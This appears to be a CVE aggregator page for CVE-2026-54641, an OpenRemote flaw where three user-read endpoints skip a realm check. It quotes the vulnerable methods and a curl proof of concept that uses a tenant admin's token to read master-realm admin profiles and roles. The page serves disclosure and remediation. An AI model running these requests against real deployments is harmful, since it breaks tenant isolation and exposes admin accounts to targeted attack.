CVE-2026-54641

HIGHPre-NVD 7.77.7
EchelonGraph scoreLOW confidence

This high-severity CVE scores 7.7 under the CNA's CVSS (NVD's own analysis pending). EPSS exploit-prediction score not yet available (the EPSS model rescores nightly; freshly-published CVEs typically appear within 48 hours). GitHub Security Advisory data not yet ingested — confidence will rise once GHSA publishes (typical lag: hours to days for open-source ecosystem CVEs; never for infrastructure-only CVEs).

Triggered by: NVD CVSS baseline
Sources: cna:github_m
7.7
EchelonGraph verdictPlan a fixSerious severity, but no confirmed exploitation yet.
  • High severity, but no confirmed exploitation yet
CISA-KEV: Not listedEPSS: CVSS: 7.7Exploit: NoneExposed: 0

No vendor fix yet — apply a workaround or compensating control (WAF / firewall / segmentation) and watch for a patch.

OpenRemote has Cross-Realm User Information Disclosure in UserResourceImpl

Summary

A realm admin of tenant B can read the profile, client roles, and realm roles of any user in any other realm (including the master realm) by supplying the target user's UUID in the REST API path. Three read endpoints in UserResourceImpl check whether the caller holds the read:admin role but omit a check that the target user belongs to the caller's own realm. The vulnerability enables cross-tenant user enumeration and privilege-level reconnaissance. On a multi-tenant deployment the master realm administrator account is reachable from any tenant realm admin.

Details

The affected file is manager/src/main/java/org/openremote/manager/security/UserResourceImpl.java.

Three methods are missing an authenticated-realm guard:

get (line 102):

public User get(RequestParams requestParams, String realm, String userId) { boolean hasAdminReadRole = hasResourceRole(ClientRole.READ_ADMIN.getValue(), Constants.KEYCLOAK_CLIENT_ID); if (!hasAdminReadRole && !Objects.equals(getUserId(), userId)) { throw new ForbiddenException("..."); } try { return identityService.getIdentityProvider().getUser(userId); } ... }

The realm path parameter is accepted but never used. getUser(userId) delegates to getUserByIdFromDb(persistenceService, userId) which queries the database by UUID with no realm filter.

getUserClientRoles (line 294):

public String[] getUserClientRoles(RequestParams requestParams, String realm, String userId, String clientId) { boolean hasAdminReadRole = hasResourceRole(ClientRole.READ_ADMIN.getValue(), Constants.KEYCLOAK_CLIENT_ID); if (!hasAdminReadRole && !Objects.equals(getUserId(), userId)) { throw new ForbiddenException("..."); } try { return identityService.getIdentityProvider().getUserClientRoles(realm, userId, clientId); } ... }

getUserRealmRoles (line 313):

public String[] getUserRealmRoles(RequestParams requestParams, String realm, String userId) { boolean hasAdminReadRole = hasResourceRole(ClientRole.READ_ADMIN.getValue(), Constants.KEYCLOAK_CLIENT_ID); if (!hasAdminReadRole && !Objects.equals(getUserId(), userId)) { throw new ForbiddenException("..."); } try { return identityService.getIdentityProvider().getUserRealmRoles(realm, userId); } ... }

By contrast, all write-side methods in the same file invoke throwIfCannotAdminRealm(realm) (lines 175, 190, 264, 333, 351, 386) which calls authContext.isRealmAccessibleByUser(realm), correctly enforcing the realm boundary. The read methods were not updated when this guard was added for the write paths.

The existing GHSA-49vv-25qx-mg44 (Improper Access Control in UserResourceImpl, patched April 2026) fixed the updateUserRealmRoles write path. The read methods in the same class remain unpatched at HEAD.

PoC

Prerequisites: two active realms (master and tenantb). The attacker authenticates as a realm-admin-level user of tenantb with read:admin role. Any valid UUID from the master realm suffices as the target userId.

Step 1. Obtain the master admin user UUID (this is typically discoverable from the audit log, API responses, or provisioning records visible to the tenantb admin).

Step 2. Obtain an access token for the tenantb admin:

TENANTB_TOKEN=$(curl -s -X POST \ "https:///auth/realms/tenantb/protocol/openid-connect/token" \ -d "client_id=openremote&grant_type=password&username=tenantb_admin&password=TenantB123!" \ | python3 -c "import sys,json; print(json.load(sys.stdin)['access_token'])")

Step 3. Read a master-realm user profile using the tenantb token:

curl -s -H "Authorization: Bearer $TENANTB_TOKEN" \ "https:///api/tenantb/user/master/f05e9eb4-0de6-45a6-9dc5-088402465e4e"

Observed response from the live test instance (commit 22a42a7, 2026-06-04):

{"realm":"master","realmId":"104856cd-ae5b-4a2d-917a-7e7f700561c8", "id":"f05e9eb4-0de6-45a6-9dc5-088402465e4e", "firstName":"System","lastName":"Administrator", "enabled":true,"createdOn":1780550421390, "serviceAccount":false,"username":"admin"} HTTP 200

Step 4. Read master-admin realm roles:

curl -s -H "Authorization: Bearer $TENANTB_TOKEN" \ "https:///api/tenantb/user/master/userRealmRoles/f05e9eb4-0de6-45a6-9dc5-088402465e4e"

Observed response:

["admin"] HTTP 200

Step 5. Read master-admin client roles:

curl -s -H "Authorization: Bearer $TENANTB_TOKEN" \ "https:///api/tenantb/user/master/userRoles/f05e9eb4-0de6-45a6-9dc5-088402465e4e/openremote"

Observed response:

["read:alarms","read:logs","write:logs","read:admin","write:insights","read:services", "write:alarms","write:attributes","write:services","write:user","write:assets", "read:insights","read:map","read:users","read:assets","read:rules","write", "write:admin","read","write:rules"] HTTP 200

All three requests succeed with a tenantb-scoped token against master-realm targets. The HTTP 200 responses confirm the cross-realm boundary is crossed.

A fix would add throwIfCannotAdminRealm(realm) (or an equivalent isRealmAccessibleByUser check) to the three read methods, mirroring the pattern already applied to the write methods.

Impact

Any realm admin (write:admin + read:admin roles) in a non-master tenant can enumerate user accounts, email addresses, enabled/disabled status, and the full set of Keycloak roles for any user in any other realm, including the privileged master realm. This exposes admin account identities and role assignments that would assist targeted attacks (credential stuffing, social engineering, escalation via the already-documented write path). On hosted or shared OpenRemote deployments where multiple organizations are separated into different realms, this breaks tenant isolation for user data.

CVSS v3
7.7
EG Score
7.7(low)
EPSS
KEV
Not listed

Published

July 6, 2026

Last Modified

July 6, 2026

Vendor Advisories for CVE-2026-54641(1)

These vendors published their own advisory mentioning this CVE — often with vendor-specific remediation steps + affected product lists not in NVD.

Data Freshness Timeline

(refreshed 1× in last 7d / 1× in last 30d)

Each row is a source pipeline that fetched or updated this CVE on that date, with what changed. For example, "NVD update" means NVD published or revised its analysis for this CVE; "MITRE cvelistV5" means we ingested or refreshed it from the CNA feed. Most recent first.

  1. 2026-07-06 21:36 UTCEG score recompute

Frequently asked(4)

What is CVE-2026-54641?
CVE-2026-54641 is a high vulnerability published on July 6, 2026. OpenRemote has Cross-Realm User Information Disclosure in UserResourceImpl Summary A realm admin of tenant B can read the profile, client roles, and realm roles of any user in any other realm (including the master realm) by supplying the target user's UUID in the REST API path. Three read endpoints…
When was CVE-2026-54641 disclosed?
CVE-2026-54641 was first published in the National Vulnerability Database on July 6, 2026. EchelonGraph re-ingests CVE updates from NVD on a 2-hour cycle, so this page reflects the latest published state.
What is the CVSS score of CVE-2026-54641?
CVE-2026-54641 has a CVSS v4.0 base score of 7.7 (CNA self-assessment; NVD's own analysis pending). The EG score is currently aggregating — additional source signals are being incorporated as they become available..
How do I remediate CVE-2026-54641?
Patch to the fixed version published by the affected vendor. Where vendor advisories exist for CVE-2026-54641, EchelonGraph cross-links them in the Vendor Advisories panel below — those typically contain the canonical remediation steps, fixed version numbers, and any vendor-specific mitigations.

Dependency Blast Radius

Explore the affected products and dependency analysis for CVE-2026-54641

Explore →

Is Your Infrastructure Affected by CVE-2026-54641?

EchelonGraph automatically scans your cloud infrastructure and maps CVE exposure using blast radius analysis.